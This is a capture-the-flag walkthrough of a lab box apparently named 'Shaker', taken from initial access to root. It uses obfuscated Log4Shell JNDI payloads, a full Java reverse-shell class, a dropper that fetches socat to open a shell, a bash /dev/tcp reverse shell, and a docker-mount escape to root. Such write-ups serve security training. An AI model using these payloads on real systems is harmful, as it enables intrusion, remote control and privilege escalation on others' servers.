One of our devs has been experimenting with webservers and wants to see if his security is up to snuff. Rumour has it he updated all his dependencies, but did something fall through the cracks?
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
8080/tcp open http-proxy syn-ack ttl 60
We have a couple ports open, one is a HTTP port that we can start enumerating:
Our main page allows us to upload XML and have is “shaken”. Let’s try it:
// https://www.w3schools.com/xml/
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
This gets uploaded to /uploads
:
We don’t have a great deal of luck with XML injection. We can go back to enumerating the web page:
We have one directory, we can presume there’s logs in there so let’s start fuzzing for potential files. We’ll need a number list so let’s create that:
python3 -c "print(*range(0,10000),sep='\n')"
ffuf -u http://shaker.thm:8080/debug/logsFUZZ -w n.txt
We can go take a look into the logs and see what it contains:
If we input an XML file, we see it’s logged:
Foothold
Thinking of recent “logging” vulnerabilities, we can attempt to abuse log4j by implementing it into our XML. Let’s try a simple payload:
<test>${${::-j}ndi:ldap://10.2.96.144:1389/Log4Shell}</test>
We see we get a connection back to ourselves:
W get a successful connection. We need to try getting a reverse shell from this. Let’s use a modified version of a java reverse shell (note: This has to be saved as Log4Shell.java):
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Log4Shell {
static {
String host = "10.2.96.144";
int port = 4443;
String cmd = "/bin/sh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
} catch (Exception e) {
}
}
}
We compile this with javac:
javac Log4Shell.java
We need to also setup a python HTTP server and something to allow us to actually execute the java. We’ll use marshalsec for this:
https://github.com/mbechler/marshalsec
We need to set this up on the same port as our HTTP server:
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.2.96.144:8000/#Log4Shell"
If you get an “unspecified file error”, change your java version to 1.8.0 to compile your reverse shell. I specifically used jdk1.8.0_251
as I already had it downloaded. After doing so, we upload our xml file again with our HTTP server and HTTP Marshal running and get a reverse shell.
User own
After getting the flag, we are given a base64 string inside the flag that we can decode and retrieve a hash. It doesn’t seem greatly useful so we’ll ignore it. Let’s enumerate our environment, we see that we’re inside a container:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
We can try get static binaries over to the box however we’re going to run into some issues with getting these uploaded.
We can create a quick script that will allow us to upload files over to the target box using our previous log4j vuln:
import java.io.InputStream;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.net.URL;
public class Log4File {
static {
String url = "http://10.2.96.144:8000/curl";
String filename = "./curl";
try {
InputStream in = new URL(url).openStream();
Files.copy(in, Paths.get(filename), StandardCopyOption.REPLACE_EXISTING);
File file = new File(filename);
if(file.exists()){
file.setReadable(true);
file.setExecutable(true);
file.setWritable(false);
}
} catch (Exception e) {
}
}
}
Again, we just need to repurpose our exploit from before:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.2.96.144:8000/#Log4File"
We also update our xml file to the following:
<xml>
<a>${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://10.2.96.144:1389/Log4File}</a>
</xml>
Note: I had to kill my shell to be able to use this
As you can see, we now have a curl binary:
We still need to upload other binaries using our Log4j vuln as we can’t change file permissions with the current set of binaries we have. Let’s upload static nmap:
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
We can assume that our host is on 172.18.0.1
and start scanning with nmap. What’s most interesting is that there’s port 8888 running:
8888/tcp open unknown
This is new to us, we can use our curl binary and see that this is a HTTP service:
./curl -v -X OPTIONS http://172.18.0.1:8888/
We get an interesting Required
header:
> OPTIONS / HTTP/1.1
> Host: 172.18.0.1:8888
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Required: X-Api-Version
< Allow: GET,OPTIONS
< Content-Length: 0
< Date: Mon, 17 Jan 2022 22:26:48 GMT
<
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
* Connection #0 to host 172.18.0.1 left inta
We can pass the header in our request and see we get a new response:
-v -H "X-Api-Version:Test" http://172.18.0.1:8888
I figure, we inevitably need two shells and since our current one pauses the web server. Let’s try use socat:
https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
We’ve already got a HTTP client, let’s reuse it to execute a command at the same time:
import java.io.InputStream;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.net.URL;
public class Log4Shell {
static {
String url = "http://10.2.96.144:8000/socat";
String filename = "./socat";
String cmd = "./socat TCP:10.2.96.144:4443 EXEC:'/bin/sh',pty,stderr,setsid,sigint,sane &";
try {
InputStream in = new URL(url).openStream();
Files.copy(in, Paths.get(filename), StandardCopyOption.REPLACE_EXISTING);
File file = new File(filename);
if(file.exists()){
file.setReadable(true);
file.setExecutable(true);
file.setWritable(false);
}
Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
p.waitFor();
} catch (Exception e) {
}
}
}
We can catch the shell using:
socat file:`tty`,raw,echo=0 TCP-L:4443
Now that we’ve got a better shell, we can continue using the website. The target isn’t vulnerable to Log4j however other Java based exploits can be used. I noticed an RMI server java file in the authors github (Not intended but a bit of OSINT I guess). We can try abuse an RMI server to get a reverse shell on the host machine. Let’s try it:
https://github.com/Hydragyrum/evil-rmi-server
We use curl to retrieve the java file. We use the following command to start our server:
java -jar rmiserver.jar '$@| /bin/bash -i >& /dev/tcp/10.2.96.144/4445 0>&1'
Next is our exploit:
./curl -v -H 'X-Api-Version:${jnd${::-i}:r${::-m}i://172.18.0.2:1097/Object}' http://172.18.0.1:8888
We get our reverse shell and we can grab our user flag
Root own
We’ve escaped but we still need to get the root user. I opted to use SSH since it’s now available. We can generate a key and echo it into /home/bob/.ssh/authorized_keys:
ssh-keygen
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0diwAcUXwvuA3nzaaeBbEzaq+teYGdB58rsKVNIk4cAGP7k8B2jekNOiiC4EkKlHMcpQXe4k5O4RUAO5lMmPPyYIKUXRt5WlvAORQ5/eDAJakrHCX9KqdZ+b0p0FZ+eP9DjTa2CVKpK0Ak9R02+uBCEmOW6KlsSpSbAvGefhjen0YPzvxrcknRC4HNc/Ln7zKJKUPj2v4LfOta5/4Zzy225/fYtbQFTzo3oBhGH1TihgSCB8HNetKLFc9fLH7w0gBJ9+X2R5ptWmtmdjoLUm4dBs/6v7IzyVgKcWTAsKDpfG0nEQYIr8PfJvr9iGl0fiGux5BdxWPEgeIdWdcp02fiKfv5BLrh6i+ecdLont9b+qfjmPXhGcVJk6u6NSOeM26gJk225S4ghiANpOVmLJepqf36PtQrCJnsGJstYgI3yCwU2cN7lmWdbLhqTcZrxP4ftrhvRl6LXy7MKigcJSr2YznFSZ28xSl6JEFKonqb6mRhWZdwMvCEe06zuW2Jak= syn@deb64" >> authorized_keys
<RhWZdwMvCEe06zuW2Jak= syn@deb64" >> authorized_keys
We can look at our groups and see we have access to docker:
uid=1001(bob) gid=1001(bob) groups=1001(bob),990(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
We can very simply mount the file system to our docker image and spawn a shell to grab root’s flag:
docker run -v /:/mnt --rm --user root:root -it shaker /bin/sh